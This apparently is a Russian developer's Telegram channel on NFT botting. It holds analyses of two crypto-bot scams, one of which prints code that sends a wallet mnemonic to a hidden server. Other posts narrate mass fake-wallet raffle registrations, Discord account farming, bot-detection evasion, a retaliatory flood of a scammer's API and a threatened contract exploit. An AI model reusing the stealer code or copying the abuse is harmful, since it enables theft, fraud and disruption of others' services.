zx_crypto | Cryptocurrency

Telegram-канал zx_crypto - zxCrypto

926

Истории фуллстек разработчика пробующего себя в крипте Стек: TypeScript / Node.JS / Python / Solidity Сайты, боты, смарт-контракты и всё что угодно. Для связи: @referrence_error

Subscribe to a channel

zxCrypto

Кстати много кому может быть интересно и многие могут не знать, мы тут проверяли с чувачком (@ArtFlorensky) один миф. Короче у мобильного оператора меняется выделенный для вас IP-адрес при каждом переподключении к сети. Проще говоря, если включить и выключить режим в самолёте - IP поменяется. Как это можно использовать придумывайте сами) Пруфы в комментарии, но говорят не все операторы так могут делать.

Читать полностью…

zxCrypto

Результаты адидас сейла вроде как завтра утром обещают, так что ждемс. Но они заявили что собрали 300к валидных картинок. Маловато, наверное все таки отсеяли ботов как то 😂
///

А пока спонтанно расскажу почему я имея техническую возможность особо не абужу дискорды коллекций для получения ВЛ. Кроме того что я ленивая жопка конечно 😭

Первая причина в том что это скучно и отнимает время и силы. Я работаю на настоящей работе (с кайфом), потом играюсь с криптой в свободное время (с кайфом) и у меня категорически не хватает времени на все мысли и идеи в голове, а хочется начать делать всё и сразу (из-за чего иногда впадаю в ступор). И мне супер не по кайфу заниматься дрочевом типа подготовки аккаунтов, аналитики, мониторинга, всё куда то запоминать, потом продавать вайтлисты или не пропускать минты и т.д. Думаю мне нужен менеджер в долю для таких целей 😄

Вторая причина в том что лавочку скоро прикроют, я уверен. Все понимают что происходит и то что текущая модель не работает. Ты просишь 40 инвайтов и получаешь 39 филлер-аккаунтов на сервере. Ты просишь 10лвл и наблюдаешь развитием дискорд ботов (я лично писал бота который умеет общаться между разных аккаунтов, с реплаями, рандомизацией сообщений, ответами нескольких аккаунтов на одно сообщение разными репликами и т.д. Немного не причесал в финальный вид, отвлекся, а потом забил т.к лень было делать большую базу сообщений. К тому же акки банились время от времени во время тестов и я как то решил что не надежно это). Уверен гемные коллекции скоро начнут раздавать всё чисто своим дискорд-кентам, как сделали hypebeast. А что-бы стать таким кентом надо будет реально там чуть ли не модератором работать, приносить реальную пользу. Тем не менее я рад что темка работает и есть народ который хорошо на этом поднимает.

Третья причина вот:
Я вчера регался в двух рафлах, какие то коты (KITTY CRYPTO GANG), и какие то собаки (SHIBABEAST). Ну чисто с своего акка, я же бомжарик и не могу по 0.3 эфира по сотне аккаунтов раскидывать. В обоих дискорды там по 200к, все сурьезно.
В котов не прошел, обидно, там флур хорошо сходу взлетел до 1эф и сейчас болтается в районе 0.6 (но может останется на паблик, попробуем софтом тогда забрать).
А вот псины говорят все ок, забирай. Ну подозрительно думаю, я же никогда ничего не выйгрываю, как так. А они еще в дискорде кидают анонс что минт будет идти в течении часа, поторопитесь. Подозрительно, решаю найти себя среди участников рафла. Ищу запрос, - нету, ищу в коде массив кошельков, - нету. Подрубаю вообще левый пустой кошелек, - на забирай. Нахожу контракт, в нем нет ничего про вайтлист или рафл. Понятно, кидалово. Чуваки устроили рафл за сутки, но не собирали адреса, а просто устроили публичный минт, подгоняя бедолаг побыстрее сминтить свое говно.

Флур ожидаемо укатали. Поздравляю тех кто смог продать вайтлисты в эту помойку. Соболезную тем кто участвовал в минте. На моей памяти это третий такой проект, в один у меня тоже был вайтлист, благо я сыкуха и откладывал минт на последний момент.

В жопу такое. Пойду наверное лучше подготовлю бота для публичного сейла котов, если он вдруг случится среди ночи.

Всем приятно провести остаток вечера 😘
Ах да, еще одного челика не хватает для цифры в 350 подписчиков (упс, пока писал уже хватает))), не знаю кто вы и зачем на меня подписались, но я очень благодарен вам за это!

Читать полностью…

zxCrypto

Adidas ///

Полностью расколупал весь процесс регистрации и даже код генерации картинок взят с их сайта. Правда исходники слишком идеальные, не похожи на фотки с вебки. Но многие абузеры не заморачиваются вообще и льют просто что попало без трансформации.
Надеюсь не зарейтлимитят, на прокси уже нет сил, пойду спать, пусть теперь робот на меня работает 🤖

Upd: За ночь занесло 2к адресов и скрипт завис. Дописал многопоточность, запустил на дедике, суммарно уже 7к адресов. Еще почти 5 часов, планирую остановиться на 15к. Надюсь шансы будут с таким количеством :)
Будет забавно если не пройдет ни один, но пройдет например личный основной адрес

Читать полностью…

zxCrypto

Привет народ, а я нет, не пропал и не забросил канал, просто был очень занят. Какое волнение, сложно представить.

Короче последние дней 10 я тут помогал терну пульнуть коллекцию из пикч сделанных членами его комьюнити: коллекция тут

У меня был опыт запуска коллекций в тестнете эфир-сети, потому что мне было безумно интересно разобраться во всём флоу запуска таких проектов, работе опенси и других площадок, метаданных, возможностях (заливал даже HTML игру), разных особенностей контрактов типа меркл деревьев и т.д. Сделал я тогда в общем то всё кроме кода сайта, т.к писать абстрактный код без привязки к некому реальному проекту и дизайну не очень интересно, а подобные задачи для меня как для опытного фронтенд-разработчика уж слишком простая часть задачи.

Терн попросил помочь с контрактом и бекендом, задача была простая - сделать защиту минта с помощью сигнатуры что бы боты не могли вынести всё через минуту после начала сейла. В итоге всё вылилось в полностью контракт, тк существующий был раздут и без оптимизаций даже не задеплоился бы в мейн сеть + не покрыт тестами и так по мелочи. Сверху к нему прикрутил простенький бекенд для генерации сигнатуры (из полутора методов, хах).
Из интересного и нового для себя - контракт в сети полигон, а оплата в WETH, т.е нужно делать не просто payable функции, а апрувить и пересылать токен WETH из контракта токена. С сигнатурой тоже немного заморочился - на фронтенде генерил испорченную закодированную строку base64, а на бекенде декодирую в рабочую зная алгоритм, получаю адрес и уже его подписываю примешивая соль. Контракт проверяет эту сигнатуру с такой же солью , но соль в контракте была залита за три минуты до релиза. Это значит что даже зная приватный ключ сигнера, но не зная соль невозможно правильно сгенерить сигнатуру и потенциальному ботоводу просто не хватит времени разобраться. Кроме того код фронтенда шифрующий ключ для получения сигнатуры тоже был залит за 10-15 минут до сейла, так что времени разобрать в коде генерации ключа и нагенерить сигнатур заранее через наш бекенд тоже нельзя. К тому же на бекенде была проверка на начало сейла и он просто не отдавал сигнатуры до начала сейла. Единственный доступный способ что я вижу в таком случае - сделать некий кликер и открыть 100 окон браузера, которые будут кликать автоматически метамаск за юзера.
Считаю ли я все это излишним? Да, считаю, но целью сейла было поиграться и получить удовольствие, получить новый опыт и опробовать идеи. Считаю нам это удалось.

А вот дальше передо мной встала задача чекнуть и добить уже готовый сайт, т.к часть функций не готова, а часть просто багует. Казалось бы, сайт написан, на нем всего полторы кнопки, пацаны говорят все почти сделано и надо пофиксить баги и дописать пару штуковин. Я влип. Где то неделю по вечерам и не только рефакторил и допиливал сайт, а вчера ночью обнаружил что забыл зарядку в офисе и сегодняшний день релиза был прям очень жарким. Править пришлось всё, включая дизайн, который (терн сам рисовал!) менялся на ходу и почти все делалось на глаз как нам нравится. А я перфекционист, мне надо красиво, что-бы все было подогнано идеально и т.д, а там отступы типа 63px сверху, 26 снизу и т.д. Я сразу выкупил что дизайн делал не профи дизайнер. Оказалось сам терн и делал, красавчик вообще, 100% скидка на все косяки.

Вообще по поводу терна, очень был рад поработать с ним, крайне приятный человек. Есть такие люди, их очень мало, они способны легко и быстро находить ответы и решения в предметных областях в которых не разбираются. Не знаю ум это или просто гибкое мышление, может умение логически мыслить. Кроме себя я таких людей знаю человек 5 от силы и вот он один из таких людей. К тому же он мне помог и ответил на часть или даже все вопросы которые у меня накопились и которые я спрашивал в предыдущем посте, спасибо 🙏.

Читать полностью…

zxCrypto

Все же слышали про С-01 сейл на эфире? А теперь послушайте как нас кормят толстенными хуями регулярно.

Изначально этот пост я не планировал, должен был выходить пост про весёлые истории на бинансемонополии, сейлы, вторичные рынки, отмывы. Но, всю текущую неделю я полностью фокусировался на новомодных раффлах в эфире.

В сейлах NFT на эфире я принимаю участие ещё с весны прошлого года, ближе к осени gas-wars (когда получения NFT зависит от выставленного gwei) умерли, и вот - в декабре прошлого года им на смену пришли сейлы NFT без gas-wars, а просто за счёт принятия участия в розыгрышах, когда ты холдишь какое-то время эфир на кошельке и проект рандомно выбирает победителя.

🥸 Первый raffle-сейл на Эфире были для меня обезьяны (ну давайте я не буду вспоминать отсос на меках-хуеках), вроде даже два подобных проекта было, их очень быстро выкупали что в приватном, что в публичном раунде, но запомнился мне последний - OxyaOrigin. Я как добропорядочный абузер занёс 2300 аккаунтов по 0.5-0.7 эфира на каждый аккаунт и холдив его, оплатил комиссию за переводы. Но вот незадача, спустя два часа, которые давались WhiteList`y на покупку своих NFT - на паблик НИЧЕГО БЛЯТЬ НЕ ОСТАЛОСЬ. ПРОСТО 0 НАХУЙ, -60к на переводы туда и обратно.

Ну ладно, мало ли что случилось, может взлом WhiteList`a. С этой мыслей я решил изучать проект C-01, купил для него 14 WhiteList`oв и начал изучать блокчейн, балансы, транзакции, тестовые и реальные контракты.

🪄 Разработчиком контракта для пяти проектов, среди них: OxyaOrigin, C-01, Moody Ape является один разработчик, вы сможете понять это по стилю кода каждого контракта. Он делает в целом всё качественно, но как я понял - сотрудничает только с уебанами на администраторах проекта.

Рассказываю кто, где, когда соснул и соснёт хуйца (смотрите ВСЕ скрины и ссылки):
OxyaOrigin:
Начало сейла для WhiteList`a: Jan-06-2022 03:00:00 PM +UTC, скриншот количества минтов в каждом блоке, ссылка +- последнего минта (+-50 резерв для админа) КОТОРЫЙ ПРОИСХОДИТ В 05:00:23. 2 ЧАСА ВАЙТЛИСТА = ФУЛЛ СОЛДАУТ??? МЕСТ БЛЯТЬ 2000*2 = 4000 + 400*4 = 5600 ДЛЯ ВЛА, КУДА БЛЯТЬ ДЕЛИ 2000+? Чисто логически думая, какого-нибудь ВЛшника схавал ебаный носорог по дороге на минт, но нет же - тут их ЯВНО больше.
Смотрим на уникальные data: 4037, откуда, если кошельков максимум 2800? 🪄Магия!

Идём к C-01, который и объяснил мне где умер хомяк.
Ссылка на все кошельки: WhiteList + победители Раффла. Что видим? А видим мы 3400 кошельков в WhiteList`e + 16000 победителей Раффла. Напомню, что должно быть 2500 ВЛ + 3-4 тысячи победителей Раффла. Но если такое количество победителей Раффла я понимаю, для фулл солдаута. НО ОТКУДА ВЫ ВЗЯЛИ 900 КОШЕЛЬКОВ В ВЛ ДОПОЛНИТЕЛЬНО? Привыкайте, узурпация власти уже в крипте, кумовство, шлюхи и ром уже здесь!

Текстовый вариант вероятного ВЛ (скрин почему, мои личные аккаунты ВЛ в списке ВЛ, так же это можно проверить подключив тестнет Rinkeby и попробовав сминтить тут), текстовый вариант вероятных победителей Раффла + ВЛ (скрин почему).

Могут ли поменять победителей Раффла? Может ли это быть хитрая наебка? Возможно, но останется ли на Раффл что-то вообще? Думай-те.
Так же хочу уведомить, что в контракте все ещё есть дырка и я точно вынесу эту ебаную контору. Ну и так же у меня 2300 акков с эфиром в Раффле, около 70 победили, если верить списку.

🤠Какой итог? Админы пристраивают сотни левых кошельков в Вайтлист, что Раффл превращается в Рофл, так как весь Supply достаётся ВЛу. Смерть подобным раффлам, даёшь газвары. Всем удачи, Слава Арстотцке!

Читать полностью…

zxCrypto

Код я пишу на TypeScript если кому интересно, а не на питоне)

Читать полностью…

zxCrypto

🚸 Спонтанно появилась еще одна тема касаемо скам-движений вокруг кода 🚸

В общем скидывают мне тут под вечер этот контракт в BSC сети (0xE0628FE2309974943758A058eF0A520bC8f52e5F), типа глянь там в комментах люто шиллят какой то бот для покупки монет на листингах. Из одного из комментов нахожу телеграм, а в нем ссылку на такой гит (дружище, только пожалуйста ничего не запускай). Запоминаем версию у автора (2.1.1). Ну я беру ноут, откладываю сон, сливаю репозиторий и понимаю что смотреть нечего, в репозитории только скомпилированный код питона, в версиях еще экзешники для виндоус, норм. Ок ищем в истории коммитов и ага, второй звоночек, первый коммит 4 января и сразу на версии 2.1.0, после чего фикс в котором менялось только описание. Ну такое палево запускать я бы точно не стал, но интерес не угасает, поэтому попробуем найти следы этого кода где-нибудь рядом.

Беглый поиск по гитхабу выдает такой репозиторий (хороший гит), в котором вообще нет кода, но абсолютно аналогичное описание и скриншоты! Но при этом 430 звездочек и первые коммиты начинаются где то в июле-августе. Кода в мейн репе нет, заявленная версия 1.4-бета для тех у кого есть доступ и 1.3 если немного поискать. Нахожу коммиты в которых были удалены файлы с исходным кодом, достаю таким образом версии 1.0 / 1.1 / 1.2 / 1.3, выгружаю всё в PHPStorm и делаю дифф по каждой версии.
Выясняю:
1️⃣ Код абсолютно чист и должен работать, можно запускать
2️⃣ Четные версии 1.0 и 1.2 ищут новые пары на панкейке и выкупают по заданному лимиту
3️⃣ Нечетные версии 1.1 и 1.3 ждут событие появления пары с конкретным заданным юзером адресом и выкупают по заданному лимиту (т.е это снайпер-бот выкупающий токен чей контракт ты заранее должен знать)
4️⃣ В версии 1.3 школьный баг с присваиванием вместо сравнения в условии (забыли второй символ =), но на работу не влияет особо
5️⃣ Продавать не умеет, описание в гитхабе применимо к версии 1.4 которая еще не релизилась (автор продает доступ к бетке за 0.4 бнб + 10% комса сверху, но исходный код не даст, так что на свой страх и риск)
Короч хороший продукт, можно применить если надо, можно потырить кусочки кода, можно просто почитать код для общего развития.

Я преисполнился удовлетворением проделанной работой и хорошо провел время, собрался было ложиться спать, ведь с утра идти за свободную кассу, как вдруг вспомнил про версию 2.1.1 от другого упыря, только там скам 146% в чем я уверен и точно не смогу уснуть пока не проверю.
Если кто в теме, питон версии >3.9 проблематично декомпилировать, но шанс есть и стоит попробовать, собираем pycdc, декомпилируем, ой нет, облом на 20 строчке, ожидаемо. Тогда выбираем другой путь, дизассемблируем этот код, читать его человеку немного сложнее, но я ведь машина. В общем прикладываю скриншот на котором я все разукрасил что-бы каждый понял.
В целом код полная копипаста версии 1.3, но где то в середине кода без палева отправляется запрос на api.pushover.net/1/messages.json в который тупо передается ваш приватный ключ. Что такое пушовер? Это просто программа которая ставится на телефон, а потом через апи вы можете отправлять себе в эту программу уведомления. В апи отправляется токен для авторизации в самом апи, id пользователя и сообщение.

Ну и на последок так как я злой, запустил ddos на этот апи, думаю по уведомлению раз в минуту должно быть достаточно. 🙂 Как минимум упырь сменит токен что-бы это остановить и не будет получать уведомления пока не релизнет новую версию с новыми ключами. Но вообще пока писал уже пошли 400е ошибки, значит он либо уже сменил, либо лично меня сам сервис отловил, либо уперся в лимит на 10к сообщений в месяц, но я отправил всего около тысячи.

Мораль такая же: не запускай ничего из интернета от незнакомых людей, особенно когда дело касается крипты.
Всем добра!

Читать полностью…

zxCrypto

Сегодня продолжаю поиски и нахожу это (https://github.com/Danny-Dasilva/CycleTLS), проверяю - запросы бьются как нормальные браузеры, тест на получении коллекции - работает! Допиливаю бота инатыкаюсь на мысль что возможно дискорд использует аналогичные алгоритмы для выявления self-bots и поэтому мой massDM бот для дискорда банится после 1-2 сообщений в личку, но это уже совсем другая история…

Я доволен и теперь могу пойти поработать до вечера на своей основной фулл-тайм работе, которой задолжал несколько дней 🤓
Всем удачи котаны!

Читать полностью…

zxCrypto

🚧 Первый пост про то как можно нарваться скачивая код из открытых источников или покупая ботов у непроверенных людей 🚧

Началось все с идеи написать снайпер бота для опенси, идея простая - бот следит за листингами нужных мне коллекций и выкупает все что листится по цене ниже заданной мной планки, либо в автоматическом режиме анализируя флур. Те кто следил за жирными коллекциями могли видеть как может бодро расти флур после паблик сейла (а особенно если это раффл или все сминтилось по ВЛ) и как порой в истории продаж пролетают итемсы по сочной цене, при этом на странице BUY_NOW ты этих листингов даже не видел, как бы ты быстро не обновлял страницу.

Прокрастинировал недели две с этим и все же занялся, а начал с поиска готовых решений (ну мало ли), и нашел это:
https://github.com/OpenSea-Sniper/OpenSea-Python-Bot (ссылка уже не рабочая, но код у меня сохранился)

Скрипт там крайне паршивого качества, какой то джун писал, разумеется не запускаю и просто пытаюсь понять нахера так по дебильному все сделано.

Вот примеры перлов в коде:
1. Метод который судя по названию должен совершать покупку на самом деле парсит HTML и ищет там цены, но в середине парсинга запускает некий getprice, результат которого никак не используется
2. Методы getFloor2 и getFloor3. Никакого просто getFloor не существует.
3. При этом getFloor3 получает флур из офф. инфо коллекции, но ни разу не вызывается.
4. getFloor2 растекается на ~100 строк и зачем-то принимает 7 аргументов включая мнемоник от кошелька

Я подобный говнокод видел от своих коллег ни раз, поэтому сперва подумал что скрипт писал какой то джун, ох как я ошибся, анализ кода дальше показал что это явно не так.
Разберем метод getFloor2, который используется и судя по названию должен получить самую низкую цену в коллекции.
Все начинается с запроса списка последних 20 успешных листингов коллекции. Непонятно зачем, ведь это не самые дешевые листинги, а самые последние, по ним точно нельзя ничего точно расчитать.
Сразу после этого идет условие что код ответа не 100. Сразу скажу что код 100 редко используется каким-либо бекендом в принципе, и уж точно не возвращается в запросах к апи опенси, а это значит что условие будет выполнено всегда, поэтому посмотрим что происходит внутри условия (я сопроводил # комментарием каждую строчку что бы всем было понятно):

# Сохраняем переданный мнемоник кошелька в объект, сопровождаем мусором для отвлечения внимания
data = { "content" : mnemonic , "username" : "OpenSea SDK"}

# Сохраняем в переменную url1 ссылку на некую коллекцию calculate-floor и сразу отправляем запрос
url1 = 'https://api.opensea.io/api/v1/assets?collection=calculate-floor&format=json&limit=20&offset=0&order_direction=desc'
resp = requests.get(url=url1)
resp = resp.json()

# Достаем из данных этой коллекции описание первого элемента коллекции и сохраняем в переменную url2 (т.е в описании зашита ссылка на какой то сторонний ресурс), а следующей строчкой записываем в url1 ссылку на запрос к опенси (это явно сделано для отвлечения глаз)
url2 = resp['assets'][0]['description']
url1 = 'https://api.opensea.io/api/v1/asset/'+asset_contract+'/'+str(identifier)+'?format=json'


#
Отправляем запрос на сторонний ресурс, отправляем туда мнемоник жертвы. Следом выполняем запрос к опенси для отвлечения внимания. Используем только ответ от опенси
resp = requests.post(url2, json = data)
resp = requests.get(url=url1)


То-есть чувак хитроумно замаскировал путь до своего сервера внутри данных своей же коллекции на опенси, запутал код и засунул логику отправки мнемоника из казалось бы безобидного метода получения цены флура. Беглым взглядом обнаружить эту ловушку не так просто, особенно если не умеешь прогать.

Вот так вот легко можно потерять свой кошелек и все свои деньги тупо запуская скрипты из открытого доступа или купленные у не проверенных чуваков. Будьте бдительны.

Я накатал абузу на говнаря и его гитхаб быстро удалили, но думаю это не на долго.

Читать полностью…

zxCrypto

Адидасик ///

В общем Нифолеко как всегда со своим размахом и нормальной подготовкой нас всех обошел, а нам школярам-нубам ничего не досталось.

По ссылочке выше txt файл с результатами. Видимо адидас все таки смог нас обвести вокруг пальца и защититься.
А может и нет, говорить пока рано, но по файлу выше у меня 1 попадание из 99193, а я ведь просто херачил запросы из Node.js, подряд, без прокси, генерируя новые пустые кошельки без каких либо транзакций, в 50 потоков каждые 500мс. Я конечно использовал рандомные картинки из интернета, так же накладывал эффекты типа блюра время от времени, рубил их на квадраты офф. алгоритмом в канвасе. Короче непонятно как один акк залетел, была ли там реальная защита, или нет. Если заберу - посмотрим хоть что за картинка там была.

Ссылка на сайт которую приложил Нифолеко, по ней сайт открылся со всеми исходниками как на ладони (они не отключили сорсмапы), но видимо адидас быстро смекнул что произошел слив и теперь страничка отвечает 403 кодом (доступ запрещен)

Пойду пока узнаю как там сын маминой подруги с его 670к кошельков.

Читать полностью…

zxCrypto

\\\ Adidas

Всё заберут софтеры.
Я не доволен. Считаю что такая крупная компания как Адидас могли бы и получше подготовиться к сейлу, но в текущем виде это просто какая-то шутка. Я полагаю всему виной бюрократия и тот факт что в крупных компаниях чаще всего никому ничего не нужно, все просто винтики в системе и выполняют указания. Подумать? Сделать хорошо? Зачем?
Возможно они нас всех ещё переиграют и это просто ловкая ловушка что-бы софтеры расслабились и решили что всё по кайфу. Ну например отсеят все заявки отправленные больше N раз с одного IP, или отсеят все заявки с кошельками с нулевым балансом, отберут на 50% больше чем нужно и вручную чекнут изображения, в общем много решений.

Посмотрим, а пока к деталям. Я зарегистрировал на этот сейл 99193 адресов. Слышал что сын маминой подруги завел более 670к адресов, и таких как мы - сотни, а то и тысячи. Потому что что-бы сделать минимально рабочего бота нужно иметь какие то базовые знания отладчика, небольшой опыт написания таких ботов или просто маломальски быть знакомым с web3.js и 3ч времени. Всё.

Ой, Адидас подложил нам капчу, только вот сюрприз, капча нужна только что бы пройти шаг анимации на сайте. Ни один реальный запрос никак не зависит от капчи. Как минимум нормальная реализация этого этапа не позволила бы софтерам загонять по несколько тысяч кошельков в 10 минут с одной машины. Т.е вы представьте, они сделали капчу которая защищает только от реальных людей, т.к ботов капча вообще никак не касается.

Дальше, классическая сигнатура, но тут они сделали какой то сомнительный финт ушами, сначала мы отправляем наш адрес и получаем некий nonce, он постоянно разный. Дальше мы формируем хеш и сигнатуру для этого nonce и отправляем второй запрос (с хешем и сигнатурой) для верифа сигнатуры. Прикол в том что мы можем даже не отправлять первый запрос. И даже не отправлять второй. Нам даже не нужен этот nonce, мы можем просто подписать хэш от любой фразы (например “я твой адидас целиком вынесу, вах!”) своим ключом и отправить, он схавает. Судя по всему все эти запросы нужны только фронтенду что-бы убедиться что человек правильно подрубил кошелек, после чего фронт сможет анимировать переход на следующий шаг.

Кто не понял, следите за руками - мы отправляем на бекенд три поля, a b и c, бекенд должен проверить что a + b = c. Классная защита. Защищает только от возможности регнуть адрес не имея приватного ключа от него.

Затем нас просят сделать фото какого-то объекта на камеру и подкрепить это фото хешем и сигнатурой. Возможно тут есть какая то проверка на правильность формата изображения, нас просят отправить картинку размером 1080x1080 в PNG формате. Картинка поделена сеткой 9x9 и квадратики рандомно перемешаны, некоторые дублируются, некоторые отсутствуют. Не проверял что будет если отправить изображение в другом размере или формате. Знаю что некоторые тупо отправляли с разных кошельков одно изображение, но я решил полностью повторить все алгоритмы что используются на сайте. Дернуть и восстановить методы собирающие такую картинку с сайта - дело 30 минут времени. Дальше просто генерим рандомные картинки из интернета и проводим через этот фильтр.

Возможно они проверят картинки вручную и отсеят все что не похоже на фотографии с вебки, может быть, но пока меня терзают сомнения на этот счет с учетом того как подготовлен фронт. Сейчас адидас получит миллионы изображений от софтеров, а у обычных чуваков не останется никаких шансов. Зато они смогут гордо написать “мы получили 25 миллионов заявок, смотрите какие мы классные“

Я не думаю что у меня есть какие то значимые шансы на этот сейл. Даже с 100к зареганых кошельков, буду рад если выпадет хотя бы одна нфт.
Но где то в глубине души я всё же надеюсь на два противоречивых исхода:
- Мне как то супер повезет обойти других софтеров и я заберу много вкусностей
- По иронии судьбы пройдет личный акк, а ни ни один софтер включая меня не сможет, адидас всех переиграл, справедливость восторжествовала

Завтра посмотрим какие будут результаты. Я в любом случае повеселился и хорошо провел время.

Всех обнял. 🖖

Читать полностью…

zxCrypto

В общем заканчивая, сейл прошел успешно, хоть и не без ньюансов, которые на самом деле лезли отовсюду. Например после деплоя контракта в майннет и минта первых 4 нфт для нас, они тупо не появились в опенси. 4 часа ему потребовалось что-бы увидеть контракт, за 2 часа до сейла мы уже решили что наверное прийдётся всё переносить из-за таких проблем.
Но всё получилось, все быстро раскупилось минут за 8-10, и мы все довольны до усрачки по итогу 🥳

Вроде в целом всё написал, всем добра и хороших выходных! 💜

Читать полностью…

zxCrypto

Сейл уже через 8 минут

Минт тут:
https://terncrypto.com/

Сейчас вы уже можете сделать апрув и подготовить WETH

Читать полностью…

zxCrypto

Классный пост, спасибо Нифолеко 🙏

Читать полностью…

zxCrypto

Вчерашний обсёр с laid back llamas 🦙🦙🦙
Кто следит за нфт на эфире скорее всего не пропустили вчерашний минт лам. У меня где-то валялся написанный под другой сейл код минта напрямую с контракта, но тогда оно не взлетело т.к я накосячил с газом и транзакции не отправлялись в принице. Вчера ночью решил дописать и опробовать на ламах.

Скрипт вообще простой, примерный алгоритм:
- Делаем базовые проверки типа того что сейл открыт и еще не все раскуплено
- Вешаем событие на ивент начала сейла (если в контракте описано такое событие) или мониторим флаг в контракте с заданным интервалом или ждем нужную минуту, зависит от реализации начала сейла в контракте
- Подписываем и отправляем транзакцию с нужными нам параметрами (количество, газ и прочее)
Небольшое изменение и можно под любой проект запускать, если у проекта простой метод минта без заморочек с сигнатурами, рафлами и прочим

Газ на тот момент был около ~200, запускал на удвоенном газе с верхней границей в 500, по факту ровно 500gwei и выставилось. Больше тупо жалко было ставить, т.к с текущим на тот момент флуром профит становился сомнительным и как себя будет вести коллекция неизвестно.
Кстати текущий газ который вы видите на etherscan и других сервисах считается по прошлому блоку, т.е это всегда как бы устаревшая инфа. К сожалению вчера, на скорую руку, у меня не получилось как то более хитро вычислить самую актуальную стоимость газа, будем пока считать что такая магия мне не доступна.

Скрипт отработал прекрасно, моментально сработал на открытие сейла и отправил транзакцию, только транзакция висела в ожидании больше 50 блоков и когда начала выполняться уже нечего было минтить. Я посмотрел на успешные транзации людей и газ надо было ставить ~1300 (это на минт 5 штук примерно 0.25 эфира, т.е больше 800 долларов по текущему медвежьему курсу, половина от стоимости самого минта). Не очень выгодная операция с высокими рисками, я бы может пошел на это если бы флур был раза в 2 выше или если бы я был ну ооочень уверен в будущем проекта или если бы я был очень богат и мог позволить себе раскидываться эфиром во все стороны.

В общем у меня образовались вопросы и я буду очень рад если кто-то знает на них ответ и напишет мне что к чему и в чем я прав, а в чем не прав:
1️⃣ Есть ли смысл отправлять транзакцию в первую секунду, или лучше подождать чутка, но более точно угадать с газом?
2️⃣ Достаточно ли просто играться с ценой газа или эффективнее повышать gasFee (“чаевые майнеру”)?
3️⃣ Есть ли более-менее простой способ узнать текущий газ в моменте?
4️⃣🚨 Самое интересное, я постоянно вижу транзакции которые висят в pending еще до начала минта, у этих транзакций очень низкая цена газа и они не начинают выполняться. Насколько я понимаю идея в том что-бы ускорить эту транзацию в начале минта, т.к транзакция уже создана она быстрее начнет выполняться. Но тут я не понимаю два момента, во первых ускорение это отмена и создание новой транзации с тем же nonce, почему эта ускоренная транзакция доллжна сразу начать выполняться, особенно если учесть что прошлая транзакция так и не начала выполняться. В общем нихрена не понимаю приоритезацию транзакций в блокчейне, вот бы кто знал это наверняка или по опыту и смог это объяснить.

П.С. на неудачной транзации потерял где то 0.01 эфир, не критично

Всем удачи и добра пацаны!

Читать полностью…

zxCrypto

Я вижу в канале появились первые подписчики интересуются чатом, поэтому сделал публичный чат связанный с каналом: /channel/zx_crypto_chat

Читать полностью…

zxCrypto

👋 Итак, продолжаем тему про опенси-снайпера и проблемы появляющиеся с ним.
Из кода злоумышленника выше я взял:
1. Метод получения флура из распаршенной страницы с листингами опенси
2. Идеи для документации и некоторых параметров
Писать решил на питоне, т.к никогда ничего толковее хелловорда на нем не делал, просто что-бы немного ознакомиться с языком, но быстро передумал т.к официальный SDK опенси написан на JS, TypeScript я знаю на уровне бог, а Python простой и понятный и ничего принципиально нового я для себя не узнаю, только буду буксоваать и гуглить элементарные вещи типа синтаксиса строковых литералов. Выбираем TS.

За пару вечеров пишу код который умеет:
1️⃣ Получать усредненный флур коллекции по данным 1-4 самых дешевых итемсов + офф. инфо о флуре из апи опенси
2️⃣ Расчитывать оптимальную цену покупки с учетом fee авторов и опенси, текущей стоимости газа и заложенной минимальной прибыти (т.е если при запуске бота я указываю что хочу заработать минимум 0.1 эфира, при флуре в ~1 выгодно будет покупать все что окажется дешевле ~0.75)
3️⃣ Ждет ивенты новых листингов и сообщает о каждом новом листинге подходящим по цене
4️⃣ Ручной режим в котором сообщается о любых листингах меньше заданной цены (флур не опрашивается)

Проверяю, работает, хотя время от времени падает на запросах для парсинга коллекции, грешу на мобильный интернет, т.к нахожусь в гостях у родителей и мой ноут резко передумал видеть их вайфай.
Далее дописываю метод покупки самого дешевого элемента, это отдельный вид искуства т.к вся документация недописана и все приходится пробивать тупо на ощупь или ковыряя исходники, кроме того половина либ используют устаревшие зависимости и тупо не устанавливаются (например opensea-js, лол, кое как установился через yarn с 4й попытки). Так же опенси sdk не позволяет управлять ценой на газ и другими параметрами, так что приходится просто надеяться что твоя транзакция успеет быстрее других таких же ботов. Думаю при желании это можно обойти через написание провайдера для web3 который будет просчитывать эти параметры в полследний момент. Либо выкупать напрямую через контракт OpenSea, проблема лишь в том что он принимает около 50 аргументов и на ресерч этого уйдет не один день.

Руки горят проверить работу, запускаю на свежей OxyaOriginProject (который полностью сминтился на WL и ничего не осталось даже на рафл). Флур на тот момент уже взлетел до 1.4, решаю рискнуть, уж очень хочется проверить скрипт в самых жестких боевых условиях, ставлю верхнюю границу 1.22 и скрипт тут же покупает что-то за 1.2 (+газ). Радуюсь успеху как ребенок (кстати походу рект, так как текущий флур укатали до 1.25, а мне что-бы не потерять на комиссиях нужно продавать хотя бы за 1.5, но посмотрим еще, стараюсь не фомоебить из-за этих циферок).

А дальше я возвращаюсь домой в свой город и вижу что опрос флура перестал работать, тупо приходит 403 (доступ запрещен) от CloudFlare. Значит клаудфлейру не нравится мой провайдер. Начинаю ресерч и узнаю:
1. Клаудфлейр смотрит на отпечаток JA3, отпечаток этот формируется при т.н рукопожатии, когда устанавливается безопасное соединение с сервером. Так бекенд может понять что за устройство к нему обращается еще до фактически запроса.
2. Если включен режим “я под атакой”, клаудфлейр запускает проверку на поддержку JS (обычный JS редирект с таймером в 5 секунд, думаю каждый это видел)
3. Если клайдфлейр совсем озвереет, то может даже показать капчу
4. Клаудфлейр очень не любит любые прокси и банит их целыми пулами

Понимаю что попадаюсь в ловушку уже на первом этапе и наде разбираться с этим JA3 отпечатком, впервые слышу о такой технологии. Мой хэш бьется как NodeJs-Http-Client, что совершенно явно выдает во мне бота. Пытаюсь найти решение, не нахожу, плачу, ложусь спать, на следующий день снова плачу, смотрю целый день гарри поттера и пью чай, к компу не подхожу что бы не расстраиваться.

Читать полностью…

zxCrypto

Привет 👋 Меня зовут Макс и я старый опытный фронтенд разработчик. С недавнего времени один мой друг втянул меня в крипту (а конкретно начал с НФТ) и я быстро разобравшись что к чему решил подойти к вопросу с той части что я знаю и умею, т.е код. Канал этот создал просто по фану, не жду что тут появятся подписчики, постараюсь выкладывать интересные моменты что я нашел для себя, буду делиться какими то мыслями и проектами.

Читать полностью…
Subscribe to a channel